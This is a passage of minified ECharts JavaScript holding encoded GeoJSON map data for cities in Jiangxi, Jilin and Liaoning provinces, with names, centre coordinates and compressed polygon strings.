ƒk¯K™U@akUmK@k@mmÛ¯V¯U@‚ƒL™¼UKmLbU`mL™xVnVb@`—LmUVUUWmb@nU@UWULmU@KnaUUmU„wmJ¯IUJWIkVkaWVUIUlWaUIUVkKmbUIƒÒlVUnnŽ@VlLUJ@bUX¯@ƒaWVUKUXƒKUbm@UwKWa@a@VkUWn™@Uak@mbX„WJXbm@mL—aWVk@™wƒL@WmanU@knwWmkaWL—KWUXaƒU@¥l„UVVVbnwƒ¥nKV™»@aUk@a@UƒJ@kƒmLma™@mbUWnm@ULǺ@LXnmxUŽm@UbkbW@@akLmWk@UXmJmUkV@VUXVlULmKUxkL@lmXnJ@X‚l°Vnb@bU@WbKUX@VmKUX"],encodeOffsets:[[116652,28666]]}},{type:"Feature",id:"3601",properties:{name:"南昌市",cp:[116.0046,28.6633],childNum:6},geometry:{type:"Polygon",coordinates:["@@šXš™„@„mš@VIUW@UšKVb„„LlV@VVbUŽlUnLnl@bVL@V°šUL@V°@Vln_Ġºn@‚knKnššLVU@VkĊ¥Vk@™Uƒ™»UaƒUÅLUalmkklWn@VUVIlm@m„Xn@VmškVa@KXIV™UWVw‚™²@m@U@VK@k@W™Ua@™ƒa@aUƒ™@™IUƒW@@bUJmbUU@kkV™mUaWwkbmLUVUn™lWbUbklmL™akbUaW@U@VbkVWVUUUVƒUx@‚Uœƒ`UI@mƒaULƒamb@lwJWUƒVXLl„UVmL@bUK@aUnUam@UUmJ@VnX@`UXVŽVb@bX@W¦nJUbƒUmVVbXb@lVšUnVlƒVUUkLmUUVWl@bX@VnV@X¤VUVLllU„U@@x™¼VV@V"],encodeOffsets:[[118249,29700]]}},{type:"Feature",id:"3602",properties:{name:"景德镇市",cp:[117.334,29.3225],childNum:3},geometry:{type:"Polygon",coordinates:["@@VVX@Vbmz„xUlU@mbmL@V²xVbUVVblbX@šVškVykValKVI@bn@n`lVWnX@l„L@™WKnƒVIVa@¯nK@alIXJVIVWUw‚ƒn@nU˜„nK@alI@a@anKm_™a—™W@UWmIUwmmK@£UUƒmUUlwwW@km@kWaX„aV@VnVKnXlK@aUK@UnwWUnƒmIUW@¯mU„XI@alJV_n@m±@U@kkKUlm@ƒXamJ@UVUkƒmI¯JmamVXL@V›UkV@xƒX@`k_UVmJUXƒW™¼mL@bU@UllX@VV@bVV@bnJUnlx@n„Žm„b@lWŽ@zU‚nIlx„@W„bVV@bVJV@UxV@@X@VkLVôÒ‚šn@@b@`VX@J"],encodeOffsets:[[119903,30409]]}},{type:"Feature",id:"3603",properties:{name:"萍乡市",cp:[113.9282,27.4823],childNum:4},geometry:{type:"Polygon",coordinates:["@@VWnL@UVW‚LXaV@@ama¯Uk@WmInW@klKVwnLVKUkVW@UlUnVnIVWl@nXlK@bX@laVan@VnwWm@KȹVK¯m@kmU@ƒƒ¥kIğ@WKU¥„@V_VW@_šK@aXKVL@Ul»mWLkU@am™kJƒm@kmU@@a@UmakwU@›„Xlƒ@VXk`UIW¼kWWX@‚œ@l‚xV¦XlW@Ubn„@ŽmUkL@UmJ¯UkUWVUaƒUlm@UXWl„nUJ@LmLU˜nXll@bUVUUmVUn„Ž@¦šxlŽnn@VÆÈU°kbV„VxllnL@VnVVUl@V„„anL"],encodeOffsets:[[116652,28666]]}},{type:"Feature",id:"3606",properties:{name:"鹰潭市",cp:[117.0813,28.2349],childNum:3},geometry:{type:"Polygon",coordinates:["@@@XV@nlšL@lUnš„mŽ@Ln@@VlV„@@VV@nwVI@V„Vlx@bknlbV@nmnUVJ‚_²‚VxVLšw@mš¯@ÝXIm™nUWƒaUwkL@wVKlKXmw@±@U„KnUlL„a„KlUlÇXkmaUw@U@a@Uƒ™UkwUJ@zWJ™w@WbkVWUL@VmUklUaWakbƒ£kJ@nmln„lL@Ž™nƒ˜L@¦mJ@wU@mXkJmbƒK@bUL@VVn@`kXƒW@Xk@@lm@UX@V@b„lÜUXVWLXJ@nmb@V@l"],encodeOffsets:[[119599,29025]]}},{type:"Feature",id:"3605",properties:{name:"新余市",cp:[114.95,27.8174],childNum:2},geometry:{type:"Polygon",coordinates:["@@m@@WULUKWwÅ»ókƒakkWK@bUVUIUamWUbULƒa@KUa@mJUbmUXU™mUamImakKmLUb™VUam@@UL@KƒKm™UUkL@`mIUb™@U„@V@bVl@bš¼UŽmL„¦mxUaUUƒVkŽ@¦„VWbXV˜LXKlbXnmx@lmVnb@X„Kšxl@XU˜bnKn@WaXIWƒnal@Vbš@XmlV@U@bXb‚LVxn@Va„LVWVLXU„b°@VW@aVIkK@UmVmkU„ÑVJnalLVUVJXbVkVJXUlblUXJVI°JnI"],encodeOffsets:[[118182,28542]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/ji_lin_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"2224",properties:{name:"延边朝鲜族自治州",cp:[129.397,43.2587],childNum:8},geometry:{type:"Polygon",coordinates:["@@Wxĵ„mš@„ó¤VX@@xܼƨš²xWxƒV„V@„XVƒ„„„ƒbWšXllaÞU°Ċ„@ô¼„LôÝWanV¥ƒÑnĉ°¥šÅX¥°¯@w°w@»°k£°mÈŹ‚mÈbƃŎ¦„K°z@Žkxl¦UbU¤šššklV„KŤÞȰ@@bšV@nVVUlÞ¦lUllœVlU°ÑU¯Vƒ°w„bXxl@V޲„˜@n„ô¼ƒó°™kmVk²ĕ‚w@wV™ÞÞ@@Ġƒö»˜¯œ@‚„šbnb°mÞ¯°V°„ÈJmX¥mam™UřƒUƒlaU¯™ƒ@w™Kk—l±n@@wƒkÝVUUl±¯I¯b™a™lƒ@™kLmakbƒ@ġƒŹé°™Þb°šékƒƒLm™„wX™‚aÅb@bVlƒbVb—ÒVbUb›UUanwƒakbVŽUV›ak„¯„UŽƒLmxV°UxnôŻX@J„Xkl‚bkbĉaƒbƒWU„ƒ@ƒk„WUU¯@@klmƒ@@™Å@aƒwWXlKkI@WbUaVIUanUƒƒ@ĕƒ¯K™„mUnWUwm@£ċèkUmbUmm@@nkJUalwk@@nmWUan_óaWmnw±KœIƒwl@UmƒI@an@@mlUÅmV_™KUkƒ@U`@_ƒKUmU™@U¯™mmb¯@kb™ImV¯ƒƒLkbƒKƒƒÛ@ÇnɱJóaÝĢkb@„›x—ÒÇllœ@‚޲V‚„ÆUVV„UÇ°X„óxlV¯„lV@bƒV@n—x›@—¤@„șŎnxV¼knšJ‚nšKX°˜¦UlnVbUbÆVnÞWVX¦llšb@l°œVJôÒnLVbšbXŽ"],encodeOffsets:[[131086,44798]]}},{type:"Feature",id:"2202",properties:{name:"吉林市",cp:[126.8372,43.6047],childNum:6},geometry:{type:"Polygon",coordinates:["@@ôl‚zšaÈV°„šK@„mŽ—LWl™nšVxUV‚È@ŽÝĬUÈn‚ôLša‚„²VmĀkV@„ĠĊnU@b„V@b˜@nl°UVnÞaôJ@bš™V„¦mlkššbmVXx¯@Vxm„nbƒ„šbÈK‚V@bÈL„wĠyônšmnbÜ@nn„V˜x@n²K‚„„J@k„al@nxÞU„Lź±Vwkw¯LWWUš™kŎīVwƒw„°y„Vĕ°wÈVlkÛ»@wW@Uô£@ƒn™ĶƒXwW™aUamKóÑUI¯›@k™akkW¥XUmÝÅUVaUa‚mVk—¥W¯™Lm™IlmU»mwȚō@ƒ˜£kJUÇk@am¯y¯UVwƒa@wġx¦ƒKƒƒ¯X°Ċ¯¦U°ċWULÅa±b¯@UkÅWmVƒ™ƒkIUlóŽċ¹™`óIƒlX„WŽXxmbUƒLݏƒbƧ@ƒx¯bƒÈ—l@xƒš¯zƒaݤ@nšm„VWb²bmn¯J¯Ò@n„š"],encodeOffsets:[[128701,44303]]}},{type:"Feature",id:"2208",properties:{name:"白城市",cp:[123.0029,45.2637],childNum:5},geometry:{type:"Polygon",coordinates:["@@ó™ǩŁ@WlwUaƑwÛÅÇéĉamKƒōÇ@Iƒ™ôġVƒȁÑŹçƒ™ÝUƧċĉwóóÝ@Ƒ»ğL¯ll²@ƆÅV@¦m‚Åb@nmlU²VxšlUn™@VbnW„bÇbk҃š„n@èlnlšU҄ްLšx@¼ĉb@҄šUŽċxՃènLVxƒÒƒbÅJ±a@_ÅJÅnƒŽVb„Kl„nUÜĊ@„Uš™xXVÆn„mšVššJÞ¯V™ĠwšƒXw°xWL„x„KV¦ôU„wVÝǬóÞޙ¼‚‚„ÞkŽVôȘxބU„lVn¦ÞšĊa°w„b°@šbÆw„lŤL²`„z°@V@@™nJVnl@@¥nUmmn„@mwnmmUnk@mlwUaƒLnƒ›wn¯°anƒWakI„ƒÇmXwÆamUXUlJXa‚UUklKUknmÞV@‚K@VWÞ@VkUwVƒ"],encodeOffsets:[[127350,46553]]}},{type:"Feature",id:"2207",properties:{name:"松原市",cp:[124.0906,44.7198],childNum:5},geometry:{type:"Polygon",coordinates:["@@„šźèȂÒU„óĢ„š@JŎȄ‚‚LnŽĊbÈêÜÆƒxVbkx@XǪłôš„kÞ`„šW„b@n°ašbšKšnVw°`š_X`W„š¦„ĊIkmVšakw‚K„x°UÞb„U@lšƒl@°¦œVW„šaÞbšxÞI@mVI@ƒVkŚUWK„¥nL‚a@ƒ„@ȍ„@°ƒÆ@nU@KÞalkUwVékUWw„™kU›VkkƒJk¯@»ókƒV¯ÆÇI@bĉô¯@™ķw¯nmmÅL¯wƒVƒUÞy@UówÇLkmm@@UóxkkĉmL¯wVwkWWX™mLõm@kűV_ƒƒô»ÛƒÆ¯@™Va™VšaĠVlmğwķUóÝƽ£ÇJkbǫaƽLW@nxݤkzƒy¯XɅm@VšôÇX¯Ė¯ºÝnUŽnLVlUÔmV"],encodeOffsets:[[126068,45580]]}},{type:"Feature",id:"2201",properties:{name:"长春市",cp:[125.8154,44.2584],childNum:5},geometry:{type:"Polygon",coordinates:["@@„U°xÆKnn°mĸxš°@Ċó@aÈJ°Å„Uôl@¼l°„IllœUlVƒšXxlVUêVxkllnÈUVll@Vx²IÞ¤VUlVnIôlރlwô_„›„bVaĶLXÅÞÇ@K˜¯@wÛaƒçn¥š¯WXyW¯XwƒUmmÛ@ma™nómğzƒxÇK@aUÇL™a„ƒmanƒUw°@WwnU™al™nkƒ¥šU™@aóIÝbUm¯Vmk—@@aƒU@amVğĉ@ƒlUnÿ±Uƒ™bóKmVÇÞī@ÇVUUw‚™šmXk˜Kn@ƒ™L¯ƒÇU™byókōè@b‚n@lÝX@x¯ô@ƙUV_maXm@aóƒJWxnX@ŽVVnĖVnUJ@nōÆÇ¼V¼kxƒLklÝw@xƒx@zV`ÅbmxU±xU„nnm‚kn‚ŽğU™bUŽ‚šUb@šÅ°Ü„󼄄U`Ʋ@lön‚KšnXWlXUx°xnKĊllôw@Vn@lnÈKôx@VÝz„V"],encodeOffsets:[[128262,45940]]}},{type:"Feature",id:"2206",properties:{name:"白山市",cp:[127.2217,42.0941],childNum:5},geometry:{type:"Polygon",coordinates:["@@Ušl¦kÒÆ°„IlÒU¤ôz„¼lJš„U„n‚ÆXVl°@²aÆbVKČXV¯°¥¯ĉ°W„„„L‚¥Ģw@x„bUx°V°zn‚‚b@ÈlVŽlIœ@˜w@m„U@akU°ƒkUôwWƒÈ¯VUƒVUƒÅ±U›@kÈk˜Ñœw@ƒlaÞġƒUÞ£@ƅ‚KnÑ̝@W‚aUaVUVkkw@a¯@¯™Ý™ƒVXnW@@WkXmK@xkKUb@bW@Uw¯„mmb@WKUbmUbUaWbƒJĉIVW@I—l±LkšmU™bUm™@ƒnkKWa¯n™@„`Ubma™„ĉL@bƚ—@W`ƒL@n¯‚Xb‚@kb@x™Lƒ„™@V‚kL±™™mlUIU¥mL@lÅx@_laƒƒ@U—aƒV@kmmƒK„£ƒƒLƒƒmKUnÅKVbmXVlèĉUUbml„ĢŤƒIlޝbǦœl‚@ô¼Ģ„@x°„l¤„n„a„l@x™b"],encodeOffsets:[[129567,43262]]}},{type:"Feature",id:"2205",properties:{name:"通化市",cp:[125.9583,41.8579],childNum:7},geometry:{type:"Polygon",coordinates:["@@ÆlXnĠx̰lȰš„K„°kXm‚@¦Vbk„ŤJšnݤk„VÞVVkȄb°y„™@w˜k„ǰa„wƨ@„aސ„K‚VnaWwXWƒ„kôJš_ČºôVkƒ»óyV£kуJůlÑk¥V™ša@wƒkƒbƒmk£¯ƒ@wġƒó»@›kÈ¥°ak„JÆ£ƒġnkVaĊVkçWUnUaÆLVmnL„„‚KU™±@—„m@a¯U„bmV¯m@_ƒK™™U™ƒaƒÅ™Wó¹ƒ@UanmWak@@wmI@y™@mk„JVa™@UaƒIkJ@n™@Um±kkxƒm™Ik„ƒbÇm@ްbXn„V@ްÈmlÞ¼¯XVº¯Lm„kWWXLmVVlknƒ@@lnWƙ„Vxbmšnšm„¯lÝaVȁè@¼V„„b™„ÆŽ°ÞUVšJ„„kx›I—xƒƒƒIV¤™ÒXxmn"],encodeOffsets:[[128273,43330]]}},{type:"Feature",id:"2203",properties:{name:"四平市",cp:[124.541,43.4894],childNum:5},geometry:{type:"Polygon",coordinates:["@@Ɇn°W„zlyÞ£mwX@ƾKǬblaÈIƾ¤ôÞĸVĠxnmmVƒ²w‚VnwÆaU_@y„w@wÞxlk„KlwU»È»ŎÅ@mVIUmmĕUU@mWXw„Iô‚@bWnnbU`‚šV@Űó@wÞW@km@aŎ烙@m°Ñ°Inm±aXaƒU™n@mƑšU¦@šÇޝaU£šaU™ġ¦ÅҙJōUŻókUÇ@™¥¯ak¯mUVak@@aċçÅaUƒm¦Ý`XbƄ@n`ƒI™xĊÞōÞml@šUb@Wl™_¯JkšÇUÝÆÅb@n™„llUb¯„±a@ƒ—ƒWĉJġ™Unóšm¤œxôaVnƒxôI@x„V@bmƙ„@lnLmޯޙxVb¯þ"],encodeOffsets:[[126293,45124]]}},{type:"Feature",id:"2204",properties:{name:"辽源市",cp:[125.343,42.7643],childNum:3},geometry:{type:"Polygon",coordinates:["@@żôŎVšIÆÑĢ¥Vš™bV¤°bȍ@™V¥ƒ™Þ£lÇUUUÝlƒÞ£™mţIlƒUa@¥nlWƒ¯ƒL¯™kÇġ¯ğwWmÅk¯UƒVU„„bWlXlmnƒbUx¯xVVknlŽUbV„ÇKUb@„™VnbmlnzUº±bmJUbWÈnèm҄š@X`WL"],encodeOffsets:[[127879,44168]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/liao_ning_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"2102",properties:{name:"大连市",cp:[122.2229,39.4409],childNum:5},geometry:{type:"Polygon",coordinates:["@@‚IÞmVk@wXWÜbnwlLnU„@‚nLlbXW@a‚wnbl@XL‚aš@Ċ¥@LULnJ@xVnmV@VXXV@VJkn@VÜKXXôJlb„xl@„IVbnJVLUbn‚lnVw„JVU@ƒXU‚aUUlwn@°ƒn„VKnV°_VJšwl@nwlV„IXWlIVVnK@IWmkIVaVU@WÈUlmU@U„WUalkXġŻ@kIƒ»mm™akUm›ĉUŁV»²ġVĕ@aUU؍IɃ`ȃ@kƒw@ƒUƒmwĉ™@ƒWķсIĉÇbÝLkymbIƒwÇmÛbmbU„¯ÜõÈkÆVbŎxnXVÆnšǪ¦„bš¤Uš™xÝnĉÒmĊVȄ¤Èš„bƼ„Ā„„ÆÆÞ„źb„VVbX„‚°²¤"],encodeOffsets:[[124786,41102]]}},{type:"Feature",id:"2113",properties:{name:"朝阳市",cp:[120.0696,41.4899],childNum:6},geometry:{type:"Polygon",coordinates:["@@na@UVI@m„ÑW™kaV¥UI@wl@„aÈbšm@wVašk„@@K@kƒ™@a@UUmƒUUalmU@KÇUű¯@±kUKVkUaƒaU@¥m@@¯k@WLUmkn@mmIkm@amU@wVmkU@Klk@U—m˜aXIWWUL™aULVbƒmk@UUmUk±™_Uym@mbkImaX¯WW™xWKzU@WƒkJWwkV™@Um@UbVVVVXb@VWX—@WŽ@Vkb@V™nUK±aUUlwX™ÇWKknU@mmUkƒLUVƒVUUVƒUaƒw™bkKmwnIƒ™kJ@nmbƒ`kmVkLWwUm@UUU™K@UmaUa@UUaWK@mUƒ¯Wkk¯VmUUŽ„xVXUVmL¯ymXkWUbmXUKƒVknWx¯JVnkLƒl@VVxnxlĀVL²WlX„l@bÝVUn@bnlÜaXblIVl@šš@Ȧ@VmbXV‚@@x„VVnUn@`°@VnXU@K@„VV@VmbnVn@ln@b„xƒ°Ub@bšLV`Ånƒ„W@@lUšnnWVU@Vbkl@Xl`XxV„UblŽkX@ް¦V„UVVbUlkV›@UbVbkLUxmJkXšš@b‚bœxVKÆlXX˜bnŽnala@ƒUk@U„VVklKVUXKVU°KVan@VUnLšKVL„WVaU_@mmUXa@m˜wXwVkVWXk‚k@›„k@klm@wXKl@U@KVUUUVaUƒV@„alL„xUx@b°°VnnVšxlIXJmx„LUVlV@bnX@Všb„aVx‚@XJ@b‚n@VŽVXȄl@llX@lU„Vô°°@ބVbn@‚V„k„@VW"],encodeOffsets:[[123919,43262]]}},{type:"Feature",id:"2106",properties:{name:"丹东市",cp:[124.541,40.4242],childNum:4},geometry:{type:"Polygon",coordinates:["@@lzXJ‚U@š²x‚@@Vš„@bUVmKUn„°n@lnVK„„nV@n@VlV„°WbXn@‚VzƒJ@¦@bkb‚bUl@bkbƒJ¯zƒWULWbklV„nb™¦VJ@„„K°U„kl@@W„bVn°@„Všm²U˜nX`„UÜLXmVXlKVbUVVnUbn˜ƒX@VUL@lUbWxš@²kl`n@Vlb„@nUVWVLVU@aV@²bl@ÈmšxWX„VÈU„JV„l@„„la„WnX‚KÈkÈ@Va°bÆm„@XV°IVV°UnalƒVUn@UwVU„@@VVJ„I@bl@XK@wWmXU‚UVbkJVXnJVI@mƒknwlKXL@`l@VI@UUaVKÞn„aVm@aÇ£XW„U@aÇUU@mbkKm£™@WW™ƒL@@Kk@kl›U—bWKUkUU¯UõÛƒmUUaVU„U@WU_W@kVkJƒ_WKkV@bUL™¯¯ƒ±mk¯ġƒğÑ@UmwƒKUakƒ™ƒa@a„m¥ÝƒIUWmk@w™mţ—L›KʝbȗKWĢklVbƒX@VV‚knÇV@XUVUblJXn@J"],encodeOffsets:[[126372,40967]]}},{type:"Feature",id:"2112",properties:{name:"铁岭市",cp:[124.2773,42.7423],childNum:7},geometry:{type:"Polygon",coordinates:["@@XJm@¯šmXUlnVbUJƒU@bV@UJWL@VXLmJVbkXlJXxVL@b@V@n@b@`Vbk@lxknV@VV™V@bUL@bV@@bVK@VXLWLXJ@LV@nbWJ@IUV„x@LVJUXVxVx@VV@@LXJWL@VU@@L@VnL@bVVmVX@@VVInJmbnLWVnVULVVU@VVmX@@JVz‚l@„nVVKVXރ@mk_lm„UUWV_nJlUÞÑÞVVUVƒVL„UVJ@I„Vna‚@@KV@XwWknwnKlalU„w„aĉݚwšJl_@aUaƒKUUU@WU@WXUÆ@@UVK@n@UnVVšblK@bœllb@b„bW@Xbl@UlnLl°°bš¦nKlVnI„V@UWU@WXkƒw@am@nm@aVw@I@KUaVIm±XÑlknJVnVJšaX_VaUaVKmwnkmmn@lU@U@mnašXlKUmUIVmklaUK@UlUVUW@U™kVm™a@UUU@JmUU@@bmb—KWV¯XUKm@ka@UVKVk@aUKmLkKUUÝUmbXbÇJ@k@WU_@m™™@klm@UXKVaUI@KWUXaƒÇWk™aWUkWUL±U@lUU@ƒUJƒI@V¯JmIm@@aU@Uwƒa™@UV@VkI›V¯aUkƒWkb@bVL„@@VVVUXW@Uaƒ@@b—‚ÝbUV݄@ŽƒLmUkVUbVllLUV@LššXŽWbUXm@U`@„kxlnnJlbnIllšLX„lVlUXmVK„n‚V@L"],encodeOffsets:[[126720,43572]]}},{type:"Feature",id:"2101",properties:{name:"沈阳市",cp:[123.1238,42.1216],childNum:5},geometry:{type:"Polygon",coordinates:["@@ȚĊܰ„b„L‚lÞxUbUn±‚@ÈnVÆL@xnLšlUVƒbƒxkImJkn@V±LUxkV@bšbšKVKnzVl@L°@Va„xÞUlbôxVVœ@@V±bnŽ@llXL˜ŽöXĶŽnal@nkVJVI@aU@@aVK@ašUUUU@lmkwl@Ua@_@a@m@U@aUKWwkIlWUanIWK@UXKVIU@@a„VVIUa‚mVknW°™n@WI@KUƒmULWnkVkUWƒ™KkkmJkamIkmlw@ƒV_n@VWXaW™™@KVUkKUkValUnV„K@ÞƒVUÞa˜@a„@VbX@VWUU@Uƒ@UK@ala@IkKmUUa@U@ƒVƒkk™WVwU_@KÜUXbl@V¥XUVmƒƒƒXa‚kŃlUUkIm`UIUJW@UIKmkm@UUJƒImmU@ƒVUXU`mIUbUK@LƒJUU™l@Xƒ@UbƒJ™kU@ƒŽn„m@Uam@@ƒ™aUmLKƒwƒ™mWXUK@kUaÇa@JUIUa@aƒKVUƒUXmƒUy™_@lmbkLUKWLX`‚n@bVL@JXL„‚WX@Vnb@Vm@UbnVmL@V@x@LUbVV@V@LƒUVl@mb¯U@xU@UVVV@X@VVblJ@bn„VKUn„x@llnL±¤™b@k`VXÆK@„kV@¼kl@bWIUl@VmLnbm@@JXXmb"],encodeOffsets:[[125359,43139]]}},{type:"Feature",id:"2104",properties:{name:"抚顺市",cp:[124.585,41.8579],childNum:4},geometry:{type:"Polygon",coordinates:["@@„XVl°bœUlJ@UVUš@„bVxV@@bn@nJ°I@U„J‚I„VV@V@k²VVKlXXVšb‚lÈX„ŽWbXV@LVJUbWL@Vkn@lšš@nV`@X@lÈIWanaÞVVVlLnKVL@bUlUL@Vlbn@VL°WXU˜Lna@aV@nV@IVV@VšbUnšl@V‚XnKVa@U„UnyWkXaƒaVk@ašašbnm@_WKXmWanU@alaU—l@XJVLVxX@˜wnKnVlwƒƒ™@V_@a¯¥@UkKWUaUU‚anK@IƒaU@WUaVw@klUVyUUVUUÇ@Iôbša@mnUma@kXa@UWak@Wa—l@a›@WUƒLmU@U`mIUU™`mUk@@UUK±nkJƒbUam@kwm@@a@UU@Ua@@K@ƒVK@kmKU_UKƒUUaĉWmkkL@`™LƒnmlkLkbmK@k™@Ulmb@b™„@Ž„xUVƒIUlmVXXƒxm@™JUUk@WUk@ƒakx±@¯x¯Umb™KUUVmUU¯UmVVn™WkÆ„lWb„„„ŽUnWVU¦k@WaÛV@LV`UxšXllU„@„@VVbnVlL@J"],encodeOffsets:[[126754,42992]]}},{type:"Feature",id:"2114",properties:{name:"葫芦岛市",cp:[120.1575,40.578],childNum:4},geometry:{type:"Polygon",coordinates:["@@ll°X„ŽnV‚@XLVb@VVbnb@VšLVV@VVnXxlKnU‚l„_na@mlI„šmJnxlLša„xVbU„VV„UVU„KVlnnV@lmXLšÈWŽkxVV²bVLšm@Ula@UX˜@XW@UWaUUUUVan@V‚š@lUXxlIX„V@‚yXLšw‚ŽXXW°nblJnan@Vzš`l²nVVVl@„nUaVKšbVKnXVaUaVUšyšnXK@kVK‚@X@m@m‚LXa„LWƒU¯„w@™ƒa@UVw„¥°™ó¯¯y¯ƒUǯ»›w¯Iƒm—¯Ç™UUl™¯»ţKċÑţķm¯w@mU_ómk¼VnU`±IkbVlƒnnŽU¼±Lk`@X™Wl¦UbmVUxkXVlkbllU„Vb@bkVmx@XVV@Jb±aULkKWXkWmX¯aUJmIkVm@ƒxU@n„"],encodeOffsets:[[122097,41575]]}},{type:"Feature",id:"2109",properties:{name:"阜新市",cp:[122.0032,42.2699],childNum:4},geometry:{type:"Polygon",coordinates:["@@šXnb°lš„VlnXVJ„LlVnl@zÆxnK@b„blKVLn@@V„aVLVK@L@Vl@XVVInVVKVwlUXwlKšL„ššVVb@aV@X„lUXbVW@n„lWnXKV@@V@XUVVLUVV@@bVVV@@ln@VbVUXV‚I„xVanJ@UšIVWšL@UV@@¤V@nInw˜W„k„lnIVx‚lnzUVÇJ¦VVÜLĸUnW@aV_šWĊXXa‚Knkl@nm™L™a@alUVw²K@UlmnIlJ„w„aVU™kmK@wÅKmU@DzVmVaÝwkƒKƒaÛ¯șĉķ¥ğ¥ƒ@kUWkƏī݃ƒ@@akU„K@KWIUm¯nƒU¯JmwUVmIkJÇLm@™UImJUU@aW@U@@nUb™JƒaƒbXVWn@UVmX@V@b„š@l@Lƒ@™lUb@x™nÇaƒbk@@xVJU¦lbXšƒÒ@nUJ@Vmb"],encodeOffsets:[[123919,43262]]}},{type:"Feature",id:"2107",properties:{name:"锦州市",cp:[121.6626,41.4294],childNum:5},geometry:{type:"Polygon",coordinates:["@@nJ@nlmVnXKl@@°n@@¦‚V„bVbUlVL²l°@ƲÈV@LV‚knVb„VVnnWVU‚@XmWU„a„bšIVa@mV@X@@bVVnIVJ@š‚nÈKlInJVUnx°I„V°mVnXJ@LƒLlV@b„@ބƐĬXllV„@Ġ¦ĸ¦naWW@In@manK@UVkXJ@alk@»lU@ƒÅLUWl_@ša²£‚Kkm@kƒwVmULmƒ@akIUa@U@WUUVU™aÝ@ğ›wkƒƒmĉ£UWƒ@@bÇL@m—a@_mKƒlƒXUwKƒLţÓ@UWw@K@U„I@m™U@UV¥„@°UnJ°@@_™KUwƒW@UnaWUmmI@m™ķwUaÇLóVĵwݙUUW™¯šƒ¦Ux@V„b@šƒxV°X„ƒKWbK@n@nW‚@UL@lWL™m™zUVVbUbmWXXWJ—b˜n@Vkl@LlVUn@xnV@bln"],encodeOffsets:[[123694,42391]]}},{type:"Feature",id:"2103",properties:{name:"鞍山市",cp:[123.0798,40.6055],childNum:4},geometry:{type:"Polygon",coordinates:["@@l„œxĠŽÞ@šbV@@w°Vna‚@Uk„V@K@UUUVa@K@w@UnKmUVan@@Uma@UXWƒWK@IUK@amW_XKVLlKna@kmKVak@VU„@VmšU@anIÆan@‚a„šUVnb@blLV`ÞLlU„bna‚Kn@naVU@¥°IVK@anUUKVaƒUVak™@mJƒkXƒ™UVwkƒVUUa°U@Wƒ@WlkXWlIXUlJlaœx‚IVVXLšll@nLV@lLXl„KĊzš¥maUƒlkXaVK„X°y„Ila@aVkala@a@¥„IUy@WmXaƒ¯kU@U@mmUƒƒULkmm@ƒ¯VmnLVU@a™ƒ@U@±w@™VWIkymLUUkJWXƒJkUmxk@™xUI¯`mUULmƒ¯„m@kxVVbWV@„UVƒIUx@bkšVšVVšxUbVV@V@zšJVXU‚lnk@@lkLƒlƒLUU±Jkšm@UIUVƒLUVU@™K@UƒnnV@l@Ll„ƒaUJ@zn`@nWlƒIUVUUUV±Ln‚@nmL@VUVkLVlUxVLVlÅXma™@@akLmWUX@JUnVJVkXJ@X@`WX„VUVUIlb„W@bVUVL@`Un@¦U`@bUV@z@Jm@@XV`„LUL¯J@IVKmKÅI@J™nWVnLnšVxV¤™z@bmV@VUV@bUL"],encodeOffsets:[[125123,42447]]}},{type:"Feature",id:"2105",properties:{name:"本溪市",cp:[124.1455,41.1987],childNum:3},geometry:{type:"Polygon",coordinates:["@@lb@Vn„lnVVUb@šVJ@nnJ@bmXUx@xVbkbkŽWLUxnl@Ul@„xWx@nUV@¼Ull„knkK@bmbnl‚LVJX@VIVJn_lJVVšXUmnU°VVVUnVVšLna°V°w²@lw„bl@XVl@VVšIn@„wWWnUVk„JVUƒw@šƒ@anaVkš@@lnLlalKnk„mšK@_lKnlĊXVb„VVLV`nL@lUL@„@L@‚VbV@@V@bn@lxn@Vb„alI²mVL@Vl@nVš_VVnJV_‚@nV„K‚V@Xœ‚@b˜kXbl@XblylUUkš™@Xa@UVIlK@UUWVU„Llm@UUUnKWU@K@UXm„XVa@U°KVUUWUk@ašUVKkaWkƒKUknaWa@U—@m@mk@ƒaUJk@@_WKkLmx„l@nUJmIUWlIUaVWVXn@xWLk@@aƒJUI@Uƒ@UVVxm@UVk„mb¯VUU¯JWUƒ@Ån¯aUbÇ@ÇlLmWƒXkbƒƒk@UƒƒIÇVƒUXW™wÇnk@±aU@@bUVUKUXmVƒ@kaUm@k_±l™@XwVa@kVK@U„Wm—VaUmVUUakLUWWnÛKƒVW_—m±V™nƒU¯@Umƒa@Xk@ƒl¯V"],encodeOffsets:[[126552,41839]]}},{type:"Feature",id:"2108",properties:{name:"营口市",cp:[122.4316,40.4297],childNum:4},geometry:{type:"Polygon",coordinates:["@@ĊĖÆn¤„„°Ċ¯ŎWšô„@xXb‚wnKl@nX@VUVƒKmL@VU@Ux݄@Vlb„x„U@VUb@b‚kœ`‚IUlVUn„V@@UV@@JnXlK@bš@nbÆWUkUKVwUklKVU@UnK@mm²KVUVVVU„JXk@mm_@yVI„bkƒ@K@kmU„m@VšLV@VU„KVUVJn@l™²IVV„K„klK@kl@kmVUW™I@y@UUUVa™wUUU™l™@akmmVaUKmIUaƒJk@ƒwkaóIWWÛL@UlmUIU@WW@UnUUm@wmIVK@Kĉ¦™@bWKk@max@bWXkamKƒ@mVkKmxÛaWX@xUlÝnJ"],encodeOffsets:[[124786,41102]]}},{type:"Feature",id:"2110",properties:{name:"辽阳市",cp:[123.4094,41.1383],childNum:5},geometry:{type:"Polygon",coordinates:["@@š`Vz„‚Wn„VUV„L@bVbVJ@IÈbVb@lVLXW‚n„š„x‚LnKVŽšb@„n@Vbn@mƒ„V@šl„IVa„@@WškVV„I@KVLVanJV_VW„UV@nn„JVI‚Vn@na@alLlmkƒVk@»VU@mXwƒwk@@VmkVwXKllaUa@wVwnW@amI@mUI@™VaUUkmmƒ@UkaƒL@ƒUIĉyƒLWkkKU@mKk@™kWKUUJ›wkbkIWVkJWXkl@X„‚@X¯VVbUVl„UxšVW„„lnIš@l‚Ub„VUbVLmV@bUL¯J@¦UVmbm@LmbƒakVÝKU_kK@amaVUƒ™bm@ÅbmJ@b™VUnƒ@UVl@UbnL"],encodeOffsets:[[125562,42194]]}},{type:"Feature",id:"2111",properties:{name:"盘锦市",cp:[121.9482,41.0449],childNum:3},geometry:{type:"Polygon",coordinates:["@@Vbĸx‚š@nnJVnXŽmb@V„XVxšL@`¯@mI¯Vƒ@U¦@VšV@nƒJ@V@LXx@